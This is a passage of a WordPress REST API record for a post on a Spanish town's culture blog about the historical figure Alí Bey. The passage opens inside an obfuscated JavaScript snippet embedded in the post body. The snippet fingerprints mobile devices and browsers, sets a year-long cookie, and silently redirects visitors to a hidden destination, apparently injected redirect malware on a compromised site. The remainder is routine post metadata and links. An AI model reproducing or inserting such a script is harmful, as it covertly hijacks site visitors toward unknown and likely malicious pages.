navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Recuperamos un art\u00edculo del a\u00f1o 1982 sobre el conocido por los veratenses como Al\u00ed Bey, personaje que da nombre a una de las calles de la Ciudad de Vera.<\/p>\n","protected":false},"author":7,"featured_media":2572,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,109],"tags":[204,205,17,269],"class_list":["post-2571","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-archivo","category-historia","tag-ali-bey","tag-jacobo-garcia-blanco-ciceron","tag-personajes-historicos","tag-s-xviii"],"_links":{"self":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/2571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/comments?post=2571"}],"version-history":[{"count":4,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/2571\/revisions"}],"predecessor-version":[{"id":2594,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/2571\/revisions\/2594"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media\/2572"}],"wp:attachment":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media?parent=2571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/categories?post=2571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/tags?post=2571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}